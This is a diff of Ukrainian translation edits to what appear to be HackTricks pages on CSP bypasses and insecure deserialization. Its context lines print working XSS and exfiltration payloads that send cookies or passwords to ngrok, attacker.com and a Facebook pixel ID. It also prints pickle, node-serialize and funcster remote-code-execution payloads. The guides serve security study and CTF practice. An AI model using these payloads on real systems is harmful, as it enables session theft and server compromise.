> [!NOTE]
|
||||
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
|
||||
```markup
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
<div ng-app ng-csp>
|
||||
@ -232,7 +232,7 @@ Angular XSS з імені класу:
|
||||
```
|
||||
#### Зловживання JS-кодом google recaptcha
|
||||
|
||||
Згідно з [**цією CTF-статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
|
||||
Згідно з [**цією CTF статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -275,7 +275,7 @@ https://www.google.com/amp/s/example.com/
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Сценарії, подібні до цього, де `script-src` встановлено на `self` та певний домен, який є в білому списку, можуть бути обійдені за допомогою JSONP. JSONP кінцеві точки дозволяють небезпечні методи зворотного виклику, які дозволяють зловмиснику виконувати XSS, робочий корисний вантаж:
|
||||
```markup
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
@ -288,9 +288,9 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
||||
|
||||
### Зловживання з боку третіх осіб
|
||||
### Зловживання третіх сторін
|
||||
|
||||
Як описано в [наступному пості](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), існує багато доменів третіх осіб, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх осіб:
|
||||
Як описано в [наступному пості](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), існує багато доменів третіх сторін, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх сторін:
|
||||
|
||||
| Суб'єкт | Дозволений домен | Можливості |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id розробника Facebook атакуючого та видаючи таку кастомну подію:
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||
На додаток до згадуваного перенаправлення для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||
|
||||
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
||||
```html
|
||||
@ -341,11 +341,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Браузер в кінцевому підсумку завантажить `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Це працює, тому що для браузера ви завантажуєте файл з назвою `..%2fangular%2fangular.js`, розташований за адресою `https://example.com/scripts/react/`, що відповідає CSP.
|
||||
Це працює, оскільки для браузера ви завантажуєте файл з назвою `..%2fangular%2fangular.js`, розташований за адресою `https://example.com/scripts/react/`, що відповідає CSP.
|
||||
|
||||
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
|
||||
Шляхом **використання цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
|
||||
|
||||
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
|
||||
@ -361,7 +361,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити її **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
@ -444,7 +444,7 @@ fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%2
|
||||
Image().src='http://PLAYER_SERVER/?'+_)
|
||||
</script>
|
||||
```
|
||||
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript код, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** JS код (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Ви також можете зловживати цією конфігурацією, щоб **завантажити код javascript, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** код JS (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### З сервісними працівниками
|
||||
|
||||
@ -454,13 +454,13 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Впровадження політики
|
||||
### Ін'єкція політики
|
||||
|
||||
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, тоді ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, то ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -554,8 +554,8 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
|
||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
|
||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** більше **CSP**, тому скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
|
||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -566,7 +566,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP**, і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
||||
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP** і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Для прикладу [**перевірте цей CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
```
|
||||
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
||||
|
||||
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як на перший погляд безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||
|
||||
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
||||
|
||||
@ -597,12 +597,12 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
|
||||
### PHP помилки при надмірній кількості параметрів
|
||||
|
||||
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надіслано** через помилку, яку це викличе.
|
||||
|
||||
### Переповнення буфера відповіді PHP
|
||||
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
||||
Отже, техніка полягає в основному в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
||||
|
||||
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати **об'єкт `opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -625,7 +625,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
||||
|
||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
||||
|
||||
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлений, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -634,23 +634,23 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
||||
|
||||
### Location
|
||||
|
||||
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер атакуючого секретну інформацію:
|
||||
Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер атакуючого:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
Ви можете перенаправити, вставивши мета-тег (це просто перенаправлення, це не призведе до витоку контенту)
|
||||
Ви можете перенаправити, вставивши мета-тег (це лише перенаправлення, це не призведе до витоку контенту)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.\
|
||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів у IP-адреси та кешувати їх для подальшого використання.\
|
||||
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Ви можете зловживати цією поведінкою, щоб **екстрагувати чутливу інформацію через DNS-запити**:
|
||||
Ви можете зловживати цією поведінкою, щоб **експортувати чутливу інформацію через DNS-запити**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
||||
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.
|
||||
|
||||
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Він передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
|
||||
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
|
||||
|
||||
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати непередбачувану поведінку в додатку під час процесу відновлення об'єкта.
|
||||
|
||||
@ -14,9 +14,9 @@
|
||||
|
||||
У PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
|
||||
|
||||
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повернути масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
|
||||
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
|
||||
- `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
|
||||
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує), коли об'єкт десеріалізується. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
|
||||
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
|
||||
- `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
|
||||
- `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
|
||||
```php
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається при спробі надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
|
||||
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається, коли намагаються надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
|
||||
|
||||
> [!WARNING]
|
||||
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань після десеріалізації.
|
||||
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань під час десеріалізації.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,7 +85,7 @@ This is a test<br />
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Виконати будь-які необхідні завдання після десеріалізації.
|
||||
> // Виконати будь-які необхідні завдання під час десеріалізації.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
@ -94,7 +94,7 @@ This is a test<br />
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Ви можете зловживати функціональністю автозавантаження PHP для завантаження довільних php файлів і більше:
|
||||
Ви можете зловживати функціональністю автозавантаження PHP, щоб завантажувати довільні php файли та більше:
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -134,7 +134,7 @@ $ser=serialize($o);
|
||||
|
||||
### **Pickle**
|
||||
|
||||
Коли об'єкт буде розпакований, функція \_\_\_reduce\_\_\_ буде виконана.\
|
||||
Коли об'єкт розпаковується, функція \_\_\_reduce\_\_\_ буде виконана.\
|
||||
При експлуатації сервер може повернути помилку.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3.
|
||||
|
||||
Для отримання додаткової інформації про вихід з **pickle jails** перегляньте:
|
||||
Для отримання додаткової інформації про вихід з **pickle jails** дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -169,7 +169,7 @@ python-yaml-deserialization.md
|
||||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **не має "магічних" функцій**, як PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
JS **не має "магічних" функцій** на кшталт PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Якщо зловживати десеріалізацією, ви можете **компрометувати ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають.
|
||||
|
||||
Ще один **"магічний" спосіб викликати функцію** без прямого виклику - це **компрометація об'єкта, який повертається асинхронною функцією** (promise). Тому, якщо ви **перетворите** цей **об'єкт повернення** в інший **promise** з **властивістю** під назвою **"then" типу функція**, він буде **виконаний** лише тому, що його повертає інший promise. _Слідкуйте_ [_**за цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._
|
||||
@ -198,7 +198,7 @@ test_then()
|
||||
```
|
||||
### `__proto__` та забруднення `prototype`
|
||||
|
||||
Якщо ви хочете дізнатися про цю техніку **перегляньте наступний підручник**:
|
||||
Якщо ви хочете дізнатися про цю техніку **перегляньте наступний посібник**:
|
||||
|
||||
{{#ref}}
|
||||
nodejs-proto-prototype-pollution/
|
||||
@ -219,7 +219,7 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
**Серіалізований об'єкт** виглядатиме так:
|
||||
Серіалізований об'єкт виглядатиме так:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS однолінійник** як у наступному прикладі:
|
||||
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS oneliner** як у наступному прикладі:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -278,11 +278,11 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Для**[ **більше інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи жодних вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
|
||||
Пакет **serialize-javascript** призначений виключно для серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -313,7 +313,7 @@ deserialize(test)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
У Java **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використане зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
|
||||
В Java **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використане зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
|
||||
|
||||
### Відбитки
|
||||
|
||||
@ -327,8 +327,8 @@ deserialize(test)
|
||||
Зверніть особливу увагу на:
|
||||
|
||||
- `XMLDecoder`, що використовується з параметрами, визначеними зовнішніми користувачами.
|
||||
- Метод `fromXML` з `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
|
||||
- `ObjectInputStream`, пов'язаний з методом `readObject`.
|
||||
- Метод `fromXML` бібліотеки `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
|
||||
- `ObjectInputStream` у поєднанні з методом `readObject`.
|
||||
- Реалізацію методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- Загальне використання `Serializable`.
|
||||
@ -342,13 +342,13 @@ deserialize(test)
|
||||
- HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
|
||||
- Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
|
||||
- Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
|
||||
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як зазначено в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
